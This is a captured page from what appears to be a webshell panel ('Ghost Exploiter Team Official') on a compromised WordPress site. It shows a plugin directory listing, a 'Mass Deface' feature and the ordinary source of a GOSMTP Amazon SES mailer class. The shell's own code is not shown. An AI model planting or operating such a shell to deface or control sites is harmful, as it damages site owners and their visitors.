webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
wp-content
/
plugins
/
gosmtp-pro
/
main
/
mailer
/
amazonses
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
amazonses.php
4.648KB
edt
ren
emailservice.php
23.454KB
edt
ren
emailservicemessage.php
18.979KB
edt
ren
emailservicerequest.php
10.857KB
edt
ren
<?php /** * Class GOSMTP_Mailer_AmazonSES. * * @since 1.0.0 */ namespace GOSMTP\Mailer\AmazonSES; use GOSMTP\Mailer\Loader; use GOSMTP\mailer\amazonses\EmailService; use GOSMTP\mailer\amazonses\EmailServiceMessage; class AmazonSES extends Loader{ var $title = 'AmazonSES'; var $mailer = 'amazonses'; var $client = null; public function send(){ global $phpmailer; if ($phpmailer->preSend()) { $response = $this->postSend(); return $this->handle_response( $response ); } return $this->handle_response(new \WP_Error(400, 'Unable to send mail for some reason!', [])); } public function postSend(){ global $phpmailer; $mime = chunk_split(base64_encode($phpmailer->getSentMIMEMessage()), 76, "\n"); $options = $this->getMailerOption(); $region = 'email.' . $options['region'] . '.amazonaws.com'; $ses = new EmailService($options['access_key'], $options['secret_key'], $region, false); $response = $ses->sendRawEmail($mime); if(is_wp_error($response)){ $return_response = new \WP_Error($response->get_error_code(), $response->get_error_message(), $response->get_error_messages()); }else{ $resp_body = wp_remote_retrieve_body($response); $resp_code = wp_remote_retrieve_response_code($response); $resp_body = \json_decode($resp_body, true); if(!empty($response['MessageId'])){ $msgId = $response['MessageId']; $status = __('Email sent successfully'); $return_response = [ 'status' => true, 'code' => 200, 'messageId' => $msgId, 'message' => $status ]; }else{ $err_code = $resp_code; $error_text = ['']; if( ! empty( $resp_body['error'] ) && is_array( $resp_body['error'] ) ){ $message = $resp_body['error']['message']; $error_text[] = $this->message_formatting( $message, $code ); }else{ $error_text[] = $this->get_response_error_message($response); } $error_msg = implode( '\r\n', array_map( 'esc_textarea', array_filter( $error_text ) ) ); $return_response = new \WP_Error($err_code, $error_msg, $resp_body); } } return $return_response; } public function email_checker($data){ $region= 'email.' . $data['amazonses']['region'] . '.amazonaws.com'; set_error_handler(function ($errno, $errstr, $errfile, $errline) { throw new \ErrorException($errstr, 0, $errno, $errfile, $errline); }); $ses = new EmailService($data['amazonses']['access_key'], $data['amazonses']['secret_key'], $region, false); try{ $ses->listVerifiedEmailAddresses(); }catch(\Exception $e) { return new \WP_Error(423, $e->getMessage()); } return false; } public function load_field(){ $fields = array( 'access_key' => array( 'title' => __('Access Key'), 'type' => 'password', ), 'secret_key' => array( 'title' => __('Secret Key'), 'type' => 'password', 'desc' => __( 'Follow this link to get a Secret Key from AmazonSES: <a href="https://aws.amazon.com/blogs/security/wheres-my-secret-access-key/" target="_blank">Secret Key.</a>' ), ), 'region' => array( 'title' => __('Region'), 'type' => 'select', 'list' => array( 'us-east-1' => __('US East (N. Virginia)', 'gosmtp'), 'us-east-2' => __('US East (Ohio)', 'gosmtp'), 'us-west-1' => __('US West (N. California)', 'gosmtp'), 'us-west-2' => __('US West (Oregon)', 'gosmtp'), 'ca-central-1' => __('Canada (Central)', 'gosmtp'), 'eu-west-1' => __('EU (Ireland)', 'gosmtp'), 'eu-west-2' => __('EU (London)', 'gosmtp'), 'eu-west-3' => __('Europe (Paris)', 'gosmtp'), 'eu-central-1' => __('EU (Frankfurt)', 'gosmtp'), 'eu-south-1' => __('Europe (Milan)', 'gosmtp'), 'eu-north-1' => __('Europe (Stockholm)', 'gosmtp'), 'ap-south-1' => __('Asia Pacific (Mumbai)', 'gosmtp'), 'ap-northeast-2' => __('Asia Pacific (Seoul)', 'gosmtp'), 'ap-southeast-1' => __('Asia Pacific (Singapore)', 'gosmtp'), 'ap-southeast-2' => __('Asia Pacific (Sydney)', 'gosmtp'), 'ap-northeast-1' => __('Asia Pacific (Tokyo)', 'gosmtp'), 'sa-east-1' => __('South America (Sao Paulo)', 'gosmtp'), 'me-south-1' => __('Middle East (Bahrain)', 'gosmtp'), 'us-gov-west-1' => __('AWS GovCloud (US)', 'gosmtp'), 'af-south-1' => __('Africa (Cape Town)', 'gosmtp'), 'cn-northwest-1' => __('China (Ningxia)', 'gosmtp') ), 'desc' => __( 'Define which endpoint you want to use for sending messages.<br>If you are operating under EU laws, you may be required to use EU region. <a href="https://aws.amazon.com/about-aws/global-infrastructure/regions_az/" target="_blank">More information</a> on aws.amazon.com.' ), ) ); return $fields; } }